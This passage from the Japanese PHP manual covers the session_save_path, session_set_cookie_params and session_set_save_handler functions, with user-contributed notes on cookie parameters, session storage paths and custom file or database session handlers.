    //Output: Some Value

    //if you need to rollback the session values after seting new value to session variables use session_reset()

    $_SESSION["A"] = "Some New Value";  // set new value

    session_reset();  // old session value restored
    echo $_SESSION["A"];

    //Output: Some Value
?>


現在のセッションデータ保存パスを取得または設定する

  • ≪ session_reset
  • session_set_cookie_params ≫
  • PHP Manual
  • セッション関数
  • 現在のセッションデータ保存パスを取得または設定する

session_save_path

(PHP 4, PHP 5, PHP 7, PHP 8)

session_save_path — 現在のセッションデータ保存パスを取得または設定する

説明

session_save_path ( string|null $path = null ) : string|false

session_save_path() は、 現在のセッションデータ保存パスを返します。

パラメータ

path

セッションデータのパス。これに null でない値を指定すると、 データを保存するパスが変更されます。ただしそのためには session_start() がコールされる前に session_save_path() がコールされている必要があります。

注意:

いくつかのオペレーションシステムでは、多くの小さなファイルを効率的に 処理するファイルシステム上にパスを指定することが望ましいです。 例えば、Linux では ext2fs よりも reiserfs の方が性能面でより 優れています。

返り値

現在のデータ保存先ディレクトリのパスを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | path は、nullable になりました。

参考

  • 設定ディレクティブ session.save_path

User Contributed Notes

hrushiemail at gmail dot com 09-Feb-2019 03:29
<?php
ini_set('session.save_path',realpath(dirname($_SERVER['DOCUMENT_ROOT']) . '/tmp'));
ini_set('session.gc_probability', 1);
session_start();

?>

(for using above code create a tmp folder/directory in your directory)
ohcc at 163 dot com 15-Dec-2017 07:42
If session.save_handler is set to files, on systems that have maximum path length limitations, when the session data file's path is too long, php may get you an error like "No such file or directory" and fails to start session, although the session-saving folder really exists on the disk.

You should:

1. Keep the session-saving folder's absolute path not too long
2. If you're with PHP 7.1+, don't set session.sid_length to a number too great, such as 255

I once got stuck with this problem on Windows and wasted hours to solve it.
mdibbets at outlook dot nospam 03-Oct-2013 07:45
I made a folder next to the public html folder and placed these lines at the very first point in index.php

Location of session folder:

/domains/account/session

location of index.php

/domains/account/public_html/index.php

What I placed in index.php at line 0:

<?php
ini_set('session.save_path',realpath(dirname($_SERVER['DOCUMENT_ROOT']) . '/../session'));
session_start();

This is the only solution that worked for me. Hope this helps someone.
alvaro at demogracia dot com 26-May-2010 03:42
Debian does not use the default garbage collector for sessions. Instead, it sets session.gc_probability to zero and it runs a cron job to clean up old session data in the default directory.

As a result, if your site sets a custom location with session_save_path() you also need to set a value for session.gc_probability, e.g.:

<?php
session_save_path('/home/example.com/sessions');
ini_set('session.gc_probability', 1);
?>

Otherwise, old files in '/home/example.com/sessions' will never get removed!
sampathperera at hotmail dot com - Sri Lanka 05-Feb-2008 11:25
Session on clustered web servers !

We had problem in PHP session handling with 2 web server cluster. Problem was one servers session data was not available in other server.

So I made a simple configuration in both server php.ini file. Changed session.save_path default value to shared folder on both servers (/mnt/session/).

It works for me. :)


セッションクッキーパラメータを設定する

  • ≪ session_save_path
  • session_set_save_handler ≫
  • PHP Manual
  • セッション関数
  • セッションクッキーパラメータを設定する

session_set_cookie_params

(PHP 4, PHP 5, PHP 7, PHP 8)

session_set_cookie_params — セッションクッキーパラメータを設定する

説明

session_set_cookie_params ( int $lifetime_or_options , string|null $path = null , string|null $domain = null , bool|null $secure = null , bool|null $httponly = null ) : bool

PHP 7.3.0 以降で使える代替のシグネチャ:

session_set_cookie_params ( array $lifetime_or_options ) : bool

ファイル php.ini で定義されたクッキーパラメータを設定します。 この関数の効果が持続するのは、スクリプトの実行が終了するまでです。 したがって、リクエスト毎や session_start() がコールされる前に session_set_cookie_params() をコールする必要があります。

この関数は、PHP の ini 設定の値を実行時に上書きします。値の取得には ini_get() が使えます。

パラメータ

lifetime_or_options

最初のシグネチャを使う場合、セッションクッキーの 有効期限。秒数で定義します。

二番目のシグネチャを使う場合、 以下に示すキーを持つことができる連想配列です。 lifetime, path, domain, secure, httponly および samesite. 対応する値は、キーと同じ名前のパラメータで説明されているものと同じ意味です。 samesite 要素の値は、 Lax または Strict になるはずです。 上記の許可されているオプションがいずれも設定されなかった場合、 デフォルト値は、明示的なパラメーターのデフォルト値と同じです。 samesite 要素が省略されると、SameSite クッキー属性は設定されません。

path

クッキーが動作するドメイン上の パス。単一のスラッシュ ('/') を指定すると、ドメイン上のすべてのパスで動作します。

domain

クッキーの ドメイン。たとえば 'www.php.net'。 すべてのサブドメインでクッキーを有効にしたい場合は、先頭にドットをつけて '.php.net' のようにします。

secure

true の場合は、セキュア な接続の場合にのみクッキーを送信します。

httponly

true の場合は、PHP でセッションクッキーを設定する際に httponly フラグの送信を試みます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | path, domain, secure, httponly は、 nullable になりました。
7.3.0 | 連想配列 lifetime_or_options をサポートする、 別のシグネチャが追加されました。 このシグネチャは、SameSite クッキー属性の設定もサポートします。
7.2.0 | 成功した場合に true を、失敗した場合に false を返します。 以前はこの関数は void を返していました。

参考

  • session.cookie_lifetime
  • session.cookie_path
  • session.cookie_domain
  • session.cookie_secure
  • session.cookie_httponly
  • session.cookie_samesite
  • session_get_cookie_params() - セッションクッキーのパラメータを得る

User Contributed Notes

eion at robbmob dot com 03-Mar-2021 07:24
Unfortunately session_set_cookie_params() cannot be called during an active session, it'll just E_WARNING and return false, which means calling session_regenerate_id() (eg, during login to prevent a session fixation attack) could end up using old cookie settings (eg, not "SameSite=Strict")

To ensure any future sessions are being created with the right cookie settings, you're better off to use ini_set() to set the cookie parameters - which is all that session_set_cookie_params() does under the hood anyway
frank at frankforte dot ca 02-Jun-2020 02:53
The following appears to work for setting the SameSite attribute on session cookies for PHP < 7.3.

<?php

    $secure = true; // if you only want to receive the cookie over HTTPS
    $httponly = true; // prevent JavaScript access to session cookie
    $samesite = 'lax';

    if(PHP_VERSION_ID < 70300) {
        session_set_cookie_params($maxlifetime, '/; samesite='.$samesite, $_SERVER['HTTP_HOST'], $secure, $httponly);
    } else {
        session_set_cookie_params([
            'lifetime' => $maxlifetime,
            'path' => '/',
            'domain' => $_SERVER['HTTP_HOST'],
            'secure' => $secure,
            'httponly' => $httponly,
            'samesite' => $samesite
        ]);
    }
?>
passerbyxp at gmail dot com 22-Jun-2012 07:50
One might want to be noted that the browsers are case-sensitive to the $path parameter.

For example, if you do this:
<?php
session_set_cookie_params(0,"/webapp/");
session_start();
?>

and you visit your site in this way:
example.com/WebApp/

You would get a new session on every request.

I'm not sure if this is the standard, but I see this happens on IE 6, Firefox 12 (Palemoon, actually), Chrome 19 (Portable version), and on both IIS and Apache.
werner dot avenant at gmail dot com 19-Jun-2012 08:58
Please take note of the garbage collection "feature" on systems like Ubuntu and Debian.

apt-get installs a cron script at /etc/cron.d/php5 that checks the session.gc_maxlifetime variable and then deletes all old sessions every 9 and 39 minutes.

The problem is: If you set the maxlifetime for a specific virtual host, those settings will be ignored. Lets say you want your server to store sessions for only 30 minutes, but for one special website you want all sessions to be 24 hours. If you set the session.gc_maxlifetime in .htaccess, your apache conf or use ini_set in your code, it won't work and sessions will still be destroyed after 30 minutes. That's because /usr/lib/php5/maxlifetime (found in that cron file) will always return the value in your php.ini, not the values you set in .htaccess.

A workaround is to set the maxlifetime to the maximum your sites require, and then configure a shorter maxlifetime in your .htaccess for those sites that don't need it.

Another solution is to give the php5 file in /etc/cron.d sane values, ie, only let it run at 3am in the morning, but you'll have to remember to block the replacement of this file it every time you update php.
Danack dot Ackroyd at gmail dot com 30-Jun-2011 01:20
Setting the domain for cookies in session_set_cookie_params() only affects the domain used for the session cookie which is set by PHP.

All other cookies set by calling the function setcookie() either:
i) Use the domain set explicitly in the call to setcookie()
or
ii) Don't set the domain at all on the cookie and so the browser assumes it's for the current domain.

So to make all your cookies be available across all sub-domains of your site you need to do this:

<?php
$currentCookieParams = session_get_cookie_params();

$rootDomain = '.example.com';

session_set_cookie_params(
    $currentCookieParams["lifetime"],
    $currentCookieParams["path"],
    $rootDomain,
    $currentCookieParams["secure"],
    $currentCookieParams["httponly"]
);

session_name('mysessionname');
session_start();

setcookie($cookieName, $cookieValue, time() + 3600, '/', $rootDomain);
?>
final dot wharf at gmail dot com 28-Oct-2010 07:42
As PHP's Session Control does not handle session lifetimes correctly when using session_set_cookie_params(), we need to do something in order to change the session expiry time every time the user visits our site. So, here's the problem.

<?php
  $lifetime=600;
  session_set_cookie_params($lifetime);
  session_start();
?>

This code doesn't change the lifetime of the session when the user gets back at our site or refreshes the page. The session WILL expire after $lifetime seconds, no matter how many times the user requests the page. So we just overwrite the session cookie as follows:

<?php
  $lifetime=600;
  session_start();
  setcookie(session_name(),session_id(),time()+$lifetime);
?>

And now we have the same session cookie with the lifetime set to the proper value.
digitalmagnets at gmail dot com 31-Mar-2010 01:36
It appears that if you are setting a session cookie on https://subdomain123.example.com for .example.com that the default of the secure cookie is not false but true.

So your cookie won't work on http://subdomainxyz.example.com unless you set the secure option to false.
jan at dewal dot net 19-Mar-2010 02:42
The information above about this function that it can only be used BEFORE session_start depends on how you use it. Because its also useful AFTER a session has started as follows:

Example you wand to change an already set value of the session cookie expire time:

<?php

 // Here we start as usual
session_set_cookie_params('3600'); // 1 hour
session_start();

// More code...

// Now we found in some database that the user whishes
// the cookie to expire after for example 10 minutes
// we can change it instantly !

session_set_cookie_params('600'); // 10 minutes.
session_regenerate_id(true);

// This will delete old cookie and adopt new expire settings and the
// old cookie variables in a new cookie

?>

Please note i only explained the browser (client) side changes of session cookie's expire time.
Miki 04-Dec-2009 10:13
REMEMBER, that if you have a multi-subdomain site, you must put the following to enable a session id on the whole website:

<?php
session_set_cookie_params(0, '/', '.example.com');
session_start();
?>

Otherwise, you'll have 2 diffrent sessions on e.g. news.example.com and download.example.com
Ashus 18-Nov-2008 07:38
Cross-domain Cookies do work in all browsers (path '/' server '.example.com'), except the case you try it in IE6/7 and the server name is retreived from :etc/hosts: file, in that case the cookie won't be even saved.
Anonymous 14-Aug-2008 11:42
In Response to RC
>23-Apr-2008 04:45
>For anyone looking for which browsers support the HTTPOnly >flag, per my research:
>
>IE 6 SP 1 and higher.
>Firefox 3 and higher.
>Opera 9.50 and higher.

Firefox 2.0 also supports them, but only since version 2.0.0.5.

http://bugzilla.mozilla.org/show_bug.cgi?id=178993
brandan, bildungsroman.org 27-May-2008 08:55
i found it somewhat difficult to work with sessions due to the documentation not really denoting the necessity for the session name to be set via session_name() in order for session_set_cookie_params() to be of any use.  i found no reference to session_name() in this article, and my session functions would have been a disastrous mess were it not for a friend familiar with session.

so, in essence, for anybody wondering about where to start: declare a session name before using session_set_cookie_params(), otherwise you might agitate php to the point of committing some atrocity against your webserver.
RC 23-Apr-2008 07:45
For anyone looking for which browsers support the HTTPOnly flag, per my research:

IE 6 SP 1 and higher.
Firefox 3 and higher.
Opera 9.50 and higher.

As of Safari 3.1.1 (April 2008), Safari did not yet support this flag.

This cookie flag was developed by Microsoft and is slowly making its way into other browsers: http://msdn2.microsoft.com/en-us/library/ms533046.aspx
eddie at roosenmaallen dot com 15-Mar-2008 06:49
Further to "info at xyzsite dot ru" and William Leslie, Safari on OS X also doesn't honour cookies with an underscore in the subdomain.

The workaround I've found is to specify the parent domain as the cookie domain -- instead of "bad_name.example.com", set the path to ".example.com"; it's suboptimal, but gets the job done.
William Leslie 08-Feb-2008 09:32
"Info at xyzsite dot ru" writes that Internet Explorer does not correctly handle cookies whose domain contains an underscore character.

However, There's a good reason for this apparently faulty behavior: the underscore character is forbidden in DNS names.  RFC 3696 says:

"The labels ... that make up a domain name must consist of only the ASCII alphabetic and numeric characters, plus the hyphen.  No other symbols or punctuation characters are permitted, nor is blank space."

If the underscore works in Mozilla or other browsers, it's only because they are being lenient in the validation of domain names.
info at xyzsite dot ru 20-Dec-2007 08:27
Just one more bad situation - cookies in Internet Explorer do not work with '_' in domain name. FF and Opera are O.K. So if your hostname is like test_host.example.com, IE cookies will not function correctly/
dan at vespernet dot co dot uk 02-Nov-2007 11:38
The below note is an excellent example of how to 'reset' the session expiration time upon a page refresh.

However, take care to compensate for when the session expires and doesn't renew itself (a bug I believe). If the below example is run every time a script is executed, it will give an 'Undefined index <session name> error' after the session fails to renew. Precede it with and if isset() condition.

<?php
private function startSession($time = 3600, $ses = 'MYSES') {
    session_set_cookie_params($time);
    session_name($ses);
    session_start();

    // Reset the expiration time upon page load
    if (isset($_COOKIE[$ses]))
      setcookie($ses, $_COOKIE[$ses], time() + $time, "/");
}
?>

The above example states that a session will last an hour without a page refresh until it is scrapped. Upon a page refresh, the expiration time is reset back to one hour again. If you wish to give users the option of 'staying logged in forever', just feed startSession a value of '99999999', which should last about 3 years.
jordi at jcanals dot net 15-Nov-2004 05:39
Something that has taken me some time to debug: session_set_cookie_params() does not work when the domain param is just a one level domain, like it was a TLD.

I have a site in an intranet and our internal domain is .local, so trying to set the cookie session to the .local domain does not work:

session_set_cookie_params(0, '/', '.local'); // Does not work

In all test I've done, setting the domain only works for SLDs and above:

session_set_cookie_params(0 , '/', '.sld.local'); Does work

This is nothing to do with PHP but the http protocol, witch does not permit setting cookies for TLDs for obvious security reasons.
shrockc at inhsNO dot SPAMorg 18-Jun-2002 09:19
when setting the path that the cookie is valid for, always remember to have that trailing '/'.

CORRECT:
session_set_cookie_params (0, '/yourpath/');

INCORRECT:
session_set_cookie_params (0, '/yourpath');

no comment on how long it took me to realize that this was the cause of my authentication/session problems...
gavin_spam at skypaint dot com 26-Feb-2002 02:58
The first argument to session_set_cookie_params is the number of seconds in the future (based on the server's current time) that the session will expire.  So if you want your sessions to last 100 days:

$expireTime = 60*60*24*100; // 100 days
session_set_cookie_params($expireTime);

I was using time()+$expireTime, which is WRONG (a lot of the session_set_cookie_params() examples I found get this wrong, but probably don't care because they are just doing "infinite" sessions).
php at mike2k dot com 09-May-2001 02:16
[Editor's Note:

Rasmus' Solution from the PHP-General list:

Just use a session cookie (by not providing an expiry time) and add the
server's expiry timestamp to the value of the cookie.  Then when you get
that cookie sent to you, check it against your server's time and make the
decision on whether to accept the cookie or not based on that.

That way you are immune from people not having their system clocks set
right.

-Rasmus

--zak@php.net]

A couple things I noticed when using this. I think it only works if you set the session_set_cookie_params() function BEFORE the session_start() function.

Also, when you set the "lifetime" on the cookie, it takes the seconds offset from the SERVER. it sends the cookie encoded to timeout at the SERVER time. So if your server is +2 minutes ahead of the client, and you set the cookie to timeout after 30 seconds, the client actually has 2 minutes and 30 seconds before the cookie times out. I don't know if there's any way that this can be patched in future versions, and the only alternative I think is setting cookies in javascript, which is hardly the point when using all these specific session functions.


ユーザー定義のセッション保存関数を設定する

  • ≪ session_set_cookie_params
  • session_start ≫
  • PHP Manual
  • セッション関数
  • ユーザー定義のセッション保存関数を設定する

session_set_save_handler

(PHP 4, PHP 5, PHP 7, PHP 8)

session_set_save_handler — ユーザー定義のセッション保存関数を設定する

説明

session_set_save_handler ( callable $open , callable $close , callable $read , callable $write , callable $destroy , callable $gc , callable $create_sid = ? , callable $validate_sid = ? , callable $update_timestamp = ? ) : bool

PHP 5.4 以降は次のプロトタイプでも登録できます。

session_set_save_handler ( object $sessionhandler , bool $register_shutdown = true ) : bool

session_set_save_handler() は、セッションに 関連するデータを保存および取得するために使用されるユーザー定義の セッション保存関数を設定します。この関数は、PHP セッションにより 提供されるもの以外の保存方法を使用したい場合に有用です。 例えば、セッションデータをローカルデータベースに保存します。

パラメータ

この関数には二種類のプロトタイプがあります。

sessionhandler

SessionHandlerInterface、 SessionIdInterface(オプション) または SessionUpdateTimestampHandlerInterface を実装したクラス、たとえば SessionHandler のインスタンスで、 これをセッションハンドラとして登録する。PHP 5.4 以降限定。

register_shutdown

session_write_close() を register_shutdown_function() 関数として登録するかどうか。

あるいは
open

以下のシグネチャを持つ callable:

open ( string $savePath , string $sessionName ) : bool

open コールバックはクラスのコンストラクタのようなもので、セッションを開くときに実行されます。 セッションが自動で開始したり、あるいは手動で session_start() で開始させたりするときに、最初に実行されるコールバック関数がこれです。 成功した場合は true、失敗した場合は false を返します。

close

以下のシグネチャを持つ callable:

close ( ) : bool

close コールバックはクラスのデストラクタのようなもので、write コールバックがコールされた後で実行されます。 また、session_write_close() がコールされたときにも実行されます。 成功した場合は true、失敗した場合は false を返します。

read

以下のシグネチャを持つ callable:

read ( string $sessionId ) : string

read コールバックは、常にセッションエンコード (シリアライズ) された文字列を返さなければなりません。何もデータを読み込まなかった場合は空文字列を返します。

このコールバックは、セッションが開始したときや session_start() がコールされたときに PHP が内部的に実行します。 このコールバックを実行する前に、PHP は open コールバックを実行します。

このコールバックが返す値は、 write コールバックがストレージに渡した形式とまったく同じシリアライズ形式でなければなりません。 返された値を PHP が自動的にアンシリアライズして、スーパーグローバル $_SESSION に格納します。データの形式は serialize() したものと似ていますが、実際は違う形式であることに注意しましょう。 シリアライズの方法は ini 設定 session.serialize_handler で指定します。

write

以下のシグネチャを持つ callable:

write ( string $sessionId , string $data ) : bool

write コールバックは、セッションの保存や終了が必要となったときにコールされます。 このコールバックが受け取るのは、現在のセッション ID とシリアライズ後のスーパーグローバル $_SESSION です。 PHP が内部で利用するシリアライズ方法は、ini 設定 session.serialize_handler で指定します。

このコールバックに渡されたシリアライズ後のセッションデータを、 渡されたセッション ID に対応させて格納しなければなりません。 このデータを取得した read コールバックは、 write コールバックに最初に渡されたのとまったく同じ値を返さなければなりません。

このコールバックが実行されるのは、PHP のスクリプトが終了するときか、あるいは明示的に session_write_close() がコールされたときです。この関数の実行後には、PHP が内部的に close コールバックを実行することに注意しましょう。

注意:

"write" ハンドラは、出力ストリームが閉じてから実行されます。 したがって、"write" ハンドラ内でデバッグ出力を行っても、 それはブラウザに表示されません。 デバッグ出力が必要なら、それをファイルに書き出すようにしましょう。

destroy

以下のシグネチャを持つ callable:

destroy ( string $sessionId ) : bool

このコールバックが実行されるのは、 session_destroy() あるいは session_regenerate_id() (destroy パラメータを true にした場合) を実行し、セッションを破棄した場合です。 成功した場合は true、失敗した場合は false を返します。

gc

以下のシグネチャを持つ callable:

gc ( int $lifetime ) : bool

ガベージコレクタコールバックは PHP が内部で定期的に実行し、古いセッションデータを破棄します。 実行頻度は session.gc_probability および session.gc_divisor で設定します。 この関数に渡される有効期限の値は session.gc_maxlifetime で設定できます。 成功した場合は true、失敗した場合は false を返します。

create_sid

以下のシグネチャを持つ callable:

create_sid ( ) : string

このコールバックは、新しいセッション ID が必要になったときに実行されます。 パラメータは不要です。返り値は、使っているハンドラで有効なセッション ID を表す文字列となります。

validate_sid

以下のシグネチャを持つ callable:

validate_sid ( string $key ) : bool

このコールバックは、セッションが開始された場合に実行されます。 但し、セッションID が渡され、 session.use_strict_mode が有効な場合に限ります。 key は検証する セッションID を指定します。 渡されたID のセッションが既に存在する場合、セッションID は有効です。 成功した場合は true、失敗した場合は false を返します。

update_timestamp

以下のシグネチャを持つ callable:

update_timestamp ( string $key , string $val ) : bool

このコールバックは、セッションが更新された時に実行されます。 key はセッションID、 val はセッションデータを指定します。 成功した場合は true、失敗した場合は false を返します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 自作のセッションハンドラ: 完全なコードは SessionHandlerInterface を参照

このコードは、PHP 5.4.0 以降のバージョンで動作します。 ここでは実行するところだけを示します。完全な例は、上でリンクしている SessionHandlerInterface のページを参照ください。

session_set_save_handler() でオブジェクト指向型のプロトタイプを使っていることと、 シャットダウン関数をその parameter フラグで登録していることに注目しましょう。 オブジェクトをセッション保存ハンドラとして使うときには、この方法をおすすめします。

<?php
class MySessionHandler implements SessionHandlerInterface
{
    // ここでインターフェイスを実装します
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_start();

// $_SESSION への値の設定や格納されている値の取得を進めます

例2 セッション保存ハンドラでオブジェクトを使う例

このコードは、PHP 5.4.0 より前のバージョンで動作します。

この例では、ファイルベースのセッションストレージをつくります。これは PHP のデフォルトのセッション保存ハンドラである files と似たものです。この例をさらに拡張すれば、 PHP がサポートするお好みのデータベースを使ってセッションを保存させるようにするのも簡単です。

シャットダウン関数 session_write_close() を、 register_shutdown_function() を使って追加登録していることに注目しましょう。 PHP 5.4.0 より前のバージョンでオブジェクトをセッション保存ハンドラとして使うときには、この方法をおすすめします。

<?php
class FileSessionHandler
{
    private $savePath;

    function open($savePath, $sessionName)
    {
        $this->savePath = $savePath;
        if (!is_dir($this->savePath)) {
            mkdir($this->savePath, 0777);
        }

        return true;
    }

    function close()
    {
        return true;
    }

    function read($id)
    {
        return (string)@file_get_contents("$this->savePath/sess_$id");
    }

    function write($id, $data)
    {
        return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
    }

    function destroy($id)
    {
        $file = "$this->savePath/sess_$id";
        if (file_exists($file)) {
            unlink($file);
        }

        return true;
    }

    function gc($maxlifetime)
    {
        foreach (glob("$this->savePath/sess_*") as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }

        return true;
    }
}

$handler = new FileSessionHandler();
session_set_save_handler(
    array($handler, 'open'),
    array($handler, 'close'),
    array($handler, 'read'),
    array($handler, 'write'),
    array($handler, 'destroy'),
    array($handler, 'gc')
    );

// これは、オブジェクトを保存ハンドラとして使ったときの予期せぬ副作用を防ぎます
register_shutdown_function('session_write_close');

session_start();
// $_SESSION への値の設定や格納されている値の取得を進めます

注意

警告

オブジェクトをセッション保存ハンドラとして使うときには、 シャットダウン関数を PHP に登録しておくことが重要です。 これで、PHP スクリプトの終了時に内部的にオブジェクトを破棄する処理による副作用や、 write および close がコールされてしまうことを防げます。 一般的には、'session_write_close' を register_shutdown_function() 関数で登録しなければなりません。

PHP 5.4.0 以降では session_register_shutdown() を使えます。あるいは session_set_save_handler() をオブジェクト指向のメソッドとして実行するときに 'register shutdown' フラグを使い、SessionHandlerInterface を実装したインスタンスを渡すという方法もあります。

警告

PHP 5.0.5 以降、write ハンドラおよび close ハンドラはオブジェクトが破棄されたあとにコールされます。 そのため、これらのハンドラでオブジェクトを使ったり例外をスローしたりすることはできません。 例外をキャッチできないのでその情報をトレースすることもできず、 例外は単純に無視されてしまいます。 しかし、オブジェクトのデストラクタではセッションを使えます。

この「ニワトリが先かタマゴが先か」の問題を解決するために、 デストラクタから session_write_close() をコールできますが、より確実なのは先述のとおりシャットダウン関数を登録することです。

警告

SAPI の種類によっては、スクリプトの終了時にセッションを閉じると 現在の作業ディレクトリが変わってしまうことがあります。これを防ぐには、 事前に session_write_close() でセッションを閉じます。

参考

  • 設定ディレクティブ session.save_handler
  • 設定ディレクティブ session.serialize_handler
  • register_shutdown_function() - シャットダウン時に実行する関数を登録する
  • session_register_shutdown() - セッションのシャットダウン関数 (PHP 5.4.0 以降)
  • 手続き型の完全なリファレンス実装は » save_handler.inc を参照してください。

User Contributed Notes

tony at marston-home dot demon dot co dot uk 10-Jun-2018 03:43
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.
peter at brandrock dot co dot za 12-Apr-2018 06:33
If saving to a database, as in the examples on this page, for performance, consider the following.

Build the Sessions table with an index on the SessionExpires column to quickly identify rows to be deleted in the garbage collection phase.

Rather do a garbage collection "delete from sessions where expiresOn < $now" on every session start/open. If you have an index on expiry time, this will not be a big hit, and evens out the load across all users. If it is possible that a large number of sessions will expire at the same time, include a "limit 100" clause, set for whatever number is reasonable, so that each user shares the load.

Use a varchar rather than Text to store the data, as Text will store the column off-page and is retrieved slightly slower. Use Text only if your application really does store large amounts of text in the session.
ohcc at 163 dot com 16-Dec-2017 04:36
As of PHP 7.0, you can implement SessionUpdateTimestampHandlerInterface to
define your own session id validating method like validate_sid and the timestamp updating method like update_timestamp in the non-OOP prototype of session_set_save_handler().

SessionUpdateTimestampHandlerInterface is a new interface introduced in PHP 7.0, which has not been documented yet. It has two abstract methods: SessionUpdateTimestampHandlerInterface :: validateId($sessionId) and SessionUpdateTimestampHandlerInterface :: updateTimestamp($sessionId, $sessionData).

<?php
    /*
       @author Wu Xiancheng
       Code structure for PHP 7.0+ only because SessionUpdateTimestampHandlerInterface is introduced in PHP 7.0
       With this class you can validate php session id and update the timestamp of php session data
       with the OOP prototype of session_set_save_handler() in PHP 7.0+
    */
    class PHPSessionXHandler implements SessionHandlerInterface, SessionUpdateTimestampHandlerInterface {
        public function close(){
            // return value should be true for success or false for failure
            // ...
        }
        public function destroy($sessionId){
            // return value should be true for success or false for failure
            // ...
        }
        public function gc($maximumLifetime){
            // return value should be true for success or false for failure
            // ...
        }
        public function open($sessionSavePath, $sessionName){
            // return value should be true for success or false for failure
            // ...
        }
        public function read($sessionId){
            // return value should be the session data or an empty string
            // ...
        }
        public function write($sessionId, $sessionData){
            // return value should be true for success or false for failure
            // ...
        }
        public function create_sid(){
            // available since PHP 5.5.1
            // invoked internally when a new session id is needed
            // no parameter is needed and return value should be the new session id created
            // ...
        }
        public function validateId($sessionId){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true if the session id is valid otherwise false
            // if false is returned a new session id will be generated by php internally
            // ...
        }
        public function updateTimestamp($sessionId, $sessionData){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true for success or false for failure
            // ...
        }
    }
?>
ohcc at 163 dot com 16-Dec-2017 07:57
What is not documented is that callables $validate_sid and $update_timestamp are supported since PHP 7.0. for the
 prototype of "bool session_set_save_handler ( callable $open , callable $close , callable $read , callable $write , callable $destroy , callable $gc [, callable $create_sid [, callable $validate_sid [, callable $update_timestamp ]]] )".

validate_sid($sessionId)
  This callback is to validate $sessionId. Its return value should be true for valid session id $sessionId or false for invalid session id $sessionId. If false is returned, a new session id is generated to replace the invalid session id $sessionId.

update_timestamp($sessionId)
  This call back is to update timestamp, and its return value should be true for success or false for failure.

If you use this prototype, if you provide less than 6 parameters or if you provide more parameters than session_set_save_handler() accepts, you will get a "Wrong parameter count for session_set_save_handler()" warning.

If you use the OOP prototype of session_set_save_handler(SessionHandlerInterface $sessionhandler [, bool $register_shutdown = true ] ), a member method named neither validate_sid nor update_timestamp of the class of $sessionhandler are not invoked even in PHP 7.2, but a member method named create_sid is supported as of PHP 5.5.1.

It's 16th December, 2017 today, the documetation even PHP may get updated sometime afterwards.
centurianii at yahoo dot co dot uk 05-Sep-2017 12:57
Adding to the very useful class from: andreipa at gmail dot com

1. You should handle session expiration & data I/O from the SessionHandlerInterface methods,
2. You should NOT handle session regeneration and data modification from these methods but from a static method, e.g. sth like Session::start().
3. PHP gives a lot of examples but does NOT say what's the perspective under which one should work.

A skeleton of such a class:
namespace xyz;
class Session implements \SessionHandlerInterface, Singleton {
   /** @var SessionToken $token The SessionToken of this command;
          this is part of my programming approach */
   protected $token;
   /** @var PDO $dbh The PDO handler to the database */
   protected $dbh;
   /** @var $savePath Where sessions are stored */
   protected $savePath;
   /** @var $type Type of sessions (['files'|'sqlite']) */
   protected $type;
   /** @var self $instance An instance of this class */
   static private $instance = null;

   private function __construct() { ... }
   static public function getInstance() {
      if (self::$instance === null) {
         self::$instance = new self();
      }
      return self::$instance;
   }
   public function open($savePath, $sessionName) { ... }
   public function close() {
      if ($this->type == static::FILES) {
         return true;
      } elseif ($this->type == static::SQLITE) {
         return true;
      }
   }
   public function read($id) { ... }
   public function write($id, $data) { ... }
   public function destroy($id) { ... }
   public function gc($maxlifetime) { ... }
   static public function get($key) {
      return (isset($_SESSION[$key]))? $_SESSION[$key] : null;
   }
   static public function set($key, $value) {
      return $_SESSION[$key] = $value;
   }
   static public function newId() {...}
   static public function start($call = null, $log = false) {
      //1. start session (send 1st header)
      if (session_status() != PHP_SESSION_ACTIVE) {
         session_start();   //calls: open()->read()
      }

      //2. $_SESSION['session']: array of session control data
      // existed session
      if (is_array(static::get('session'))) {
         $session = static::get('session');
      // new session
      } else {
         $session = array();
      }

      $tmp = $_SESSION;
      //do sth with $session array...
      static::set('session', $session);
      session_write_close();   //calls: write()->read()->close()
      //create a new session inside if...else...
      session_id(static::newId());
      session_start();   //calls: open()->read()
      //if you want previous session data to be copied:
      //$_SESSION = $tmp;
      //do sth else with $session array and save it to new session...
      static::set('session', $session);

      //6. call callback function (only on valid/new sessions)
      if ($call)
         $call();
      session_write_close();   //calls: write()->read()->close()
   }
   /**
    * Defines custom session handler.
    */
   static public function setHandler() {
      // commit automatic session
      if (ini_get('session.auto_start') == 1) {
         session_write_close();
      }
      $handler = static::getInstance();
      session_set_save_handler($handler, true);
   }
}

Let's start a session:
Session::setHandler();
Session::start();

Trying for hours to trace my error where the 3rd Session::read() ended to use a null Session::dbh until I realized that Session::close() should NOT destroy properties of this class!
Also I avoid the use of session_create_id() as it's only for PHP 7 >= 7.1.0 and I use in place a static Session::newId().
nickleus 20-Jan-2017 03:52
i dont see any mention of what happens when eg "open" calls "die", like mentioned in docs for "register_shutdown_function":

"If you call exit() within one registered shutdown function, processing will stop completely and no other registered shutdown functions will be called."

http://php.net/manual/en/function.register-shutdown-function.php

my result: same behavior--"read" will not get called if "open" calls "die"/"exit".
shanikawm at gmail dot com 27-Jun-2016 11:45
Here is a class to handle session using an Oracle table.
https://github.com/shanikawm/PHP_Oracle_Based_Session_Handler_Class

<?php
/**
 * By Shanika Amarasoma
 * Date: 6/24/2016
 * PHP session handler using Oracle database
 * Oracle Create table statement
        CREATE TABLE PHP_SESSIONS
        (
            SESSION_ID  VARCHAR2(256 BYTE) UNIQUE,
            DATA        CLOB,
            TOUCHED     NUMBER(38)
        );
 */
class session_handler implements SessionHandlerInterface
{
    private $con;
    public function __construct() {
        if(!$this->con=oci_pconnect(DBUSER,DBPASS,CONNECTION_STR)){
            die('Database connection failed !');
        }
    }
    public function open($save_path ,$name){
        return true;
    }
    public function close(){
        return true;
    }
    public function read($session_id){
